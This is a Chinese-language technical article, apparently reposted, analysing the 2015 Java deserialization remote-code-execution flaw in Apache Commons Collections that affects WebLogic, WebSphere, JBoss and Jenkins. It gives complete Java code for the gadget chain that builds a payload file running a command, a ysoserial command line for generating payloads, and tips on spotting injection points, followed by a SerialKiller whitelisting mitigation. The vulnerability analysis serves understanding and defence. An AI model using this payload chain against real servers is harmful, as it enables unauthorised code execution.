1 背景java
4 漏洞利用實例web
4.1 利用過程概述數據庫
4.2 WebLogicapache
4.5 WebSphere數據結構
4.6 其它app
2015年11月6日,FoxGlove Security安全團隊的@breenmachine 發佈的一篇博客[3]中介紹瞭如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用,實現遠程代碼執行。
然而事實上,博客做者並非漏洞發現者。博客中提到,早在2015年的1月28號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5],報告中介紹了Java反序列化漏洞能夠利用Apache Commons Collections這個經常使用的Java庫來實現任意代碼執行,當時並無引發太大的關注,可是在博主看來,這是2015年最被低估的漏洞。
確實,Apache Commons Collections這樣的基礎庫很是多的Java應用都在用,一旦編程人員誤用了反序列化這一機制,使得用戶輸入能夠直接被反序列化,就能致使任意代碼執行,這是一個極其嚴重的問題,博客中提到的WebLogic等存在此問題的應用可能只是冰山一角。
雖然從@gebl和@frohoff的報告到如今已通過去了將近一年,可是@breenmachine的博客中提到的廠商也依然沒有修復,並且國內的技術人員對這個問題的關注依然較少。爲了幫助你們更好的理解它,儘快避免和修復這些問題,本文對此作了一個深刻的漏洞原理和利用分析,最後對上面提到的這些受影響的應用,在全球範圍內作一個大概的統計。
序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。Java中的ObjectOutputStream
類的writeObject()
方法能夠實現序列化,類ObjectInputStream
類的readObject()
方法用於反序列化。下面是將字符串對象先進行序列化,存儲到本地文件,而後再經過反序列化進行恢復的樣例代碼:
public static void main(String args[]) throws Exception { String obj = "hello world!"; // 將序列化對象寫入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 從文件object.db中讀取數據 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 經過反序列化恢復對象obj String obj2 = (String)ois.readObject(); ois.close(); }
問題在於,若是Java應用對用戶輸入,即不可信數據作了反序列化處理,那麼攻擊者能夠經過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程當中就有可能帶來任意代碼執行。
因此這個問題的根源在於類ObjectInputStream
在反序列化時,沒有對生成的對象的類型作限制;倘若反序列化能夠設置Java類型的白名單,那麼問題的影響就小了不少。
反序列化問題由來已久,且並不是Java語言特有,在其餘語言例如PHP和Python中也有類似的問題。@gebl和@frohoff的報告中所指出的並非反序列化這個問題,而是一些公用庫,例如Apache Commons Collections中實現的一些類能夠被反序列化用來實現任意代碼執行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應用的反序列化漏洞可以得以利用,就是依靠了Apache Commons Collections。這種庫的存在極大地提高了反序列化問題的嚴重程度,能夠比做在開啓了ASLR地址隨機化防護的系統中,出現了一個加載地址固定的共享庫,或者相似twitter上的評論中的比喻:
@breenmachine的博客中將漏洞歸咎於Apache Commons Collections這個庫,存在必定的誤解。
參考Matthias Kaiser在11月份的報告[1],咱們以Apache Commons Collections 3爲例,來解釋如何構造對象,可以讓程序在反序列化,即調用readObject()
時,就能直接實現任意代碼執行。
Map
類是存儲鍵值對的數據結構,Apache Commons Collections中實現了類TransformedMap
,用來對Map
進行某種變換,只要調用decorate()
函數,傳入key和value的變換函數Transformer
,便可從任意Map
對象生成相應的TransformedMap
,decorate()
函數以下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
Transformer
是一個接口,其中定義的transform()
函數用來將一個對象轉換成另外一個對象。以下所示:
public interface Transformer { public Object transform(Object input); }
當Map
中的任意項的Key或者Value被修改,相應的Transformer
就會被調用。除此之外,多個Transformer
還能串起來,造成ChainedTransformer
。
Apache Commons Collections中已經實現了一些常見的Transformer
,其中有一個能夠經過調用Java的反射機制來調用任意函數,叫作InvokerTransformer
,代碼以下:
public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
只須要傳入方法名、參數類型和參數,便可調用任意函數。所以要想任意代碼執行,咱們能夠首先構造一個Map
和一個可以執行代碼的ChainedTransformer
,以今生成一個TransformedMap
,而後想辦法去觸發Map
中的MapEntry
產生修改(例如setValue()
函數),便可觸發咱們構造的Transformer。
測試代碼以下:
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); }
當上面的代碼運行到setValue()
時,就會觸發ChainedTransformer
中的一系列變換函數:首先經過ConstantTransformer
得到Runtime
類,進一步經過反射調用getMethod
找到invoke
函數,最後再運行命令calc.exe
。
可是目前的構造還須要依賴於觸發Map
中某一項去調用setValue()
,咱們須要想辦法經過readObject()
直接觸發。
咱們觀察到java運行庫中有這樣一個類AnnotationInvocationHandler
,這個類有一個成員變量memberValues
是Map
類型,以下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } ...
更使人驚喜的是,AnnotationInvocationHandler
的readObject()
函數中對memberValues
的每一項調用了setValue()
函數,以下所示:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此處觸發一些列的Transformer memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
所以,咱們只須要使用前面構造的Map
來構造AnnotationInvocationHandler
,進行序列化,當觸發readObject()
反序列化的時候,就能實現命令執行。另外須要注意的是,想要在調用未包含的package中的構造函數,咱們必須經過反射的方式,綜合生成任意代碼執行的payload的代碼以下:
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); }
以上解釋瞭如何經過Apache Commons Collections 3這個庫中的代碼,來構造序列化對象,使得程序在反序列化時能夠當即實現任意代碼執行。
咱們能夠直接使用工具ysoserial[2][5]來生成payload,當中包含了4種通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目標應用的Class Path中包含這些庫,ysoserial生成的payload便可讓readObject()
實現任意命令執行。
ysoserial當中針對Apache Commons Collections 3的payload也是基於TransformedMap
和InvokerTransformer
來構造的,而在觸發時,並無採用上文介紹的AnnotationInvocationHandler
,而是使用了java.lang.reflect.Proxy
中的相關代碼來實現觸發。此處再也不作深刻分析,有興趣的讀者能夠參考ysoserial的源碼。
首先拿到一個Java應用,須要找到一個接受外部輸入的序列化對象的接收點,即反序列化漏洞的觸發點。咱們能夠經過審計源碼中對反序列化函數的調用(例如readObject()
)來尋找,也能夠直接經過對應用交互流量進行抓包,查看流量中是否包含java序列化數據來判斷,java序列化數據的特徵爲以標記(ac ed 00 05)開頭。
肯定了反序列化輸入點後,再考察應用的Class Path中是否包含Apache Commons Collections庫(ysoserial所支持的其餘庫亦可),若是是,就可使用ysoserial來生成反序列化的payload,指定庫名和想要執行的命令便可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
經過先前找到的傳入對象方式進行對象注入,數據中載入payload,觸發受影響應用中ObjectInputStream
的反序列化操做,隨後經過反射調用Runtime.getRunTime.exec
便可完成利用。
由於受影響的多家廠商在今年1月拿到POC至今都沒有對該問題作任何修復,因此短時間內並不會有官方補丁放出,若是很重視這個安全問題而且想要有一個臨時的解決方案能夠參考NibbleSecurity公司的ikkisoft在github上放出了一個臨時補丁SerialKiller
。
下載這個jar後放置於classpath,將應用代碼中的java.io.ObjectInputStream
替換爲SerialKiller
,以後配置讓其可以容許或禁用一些存在問題的類,SerialKiller
有Hot-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化後的可信類型。
lib地址:https://github.com/ikkisoft/SerialKiller
利用實例:
參見源博客:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
感謝原做者的分享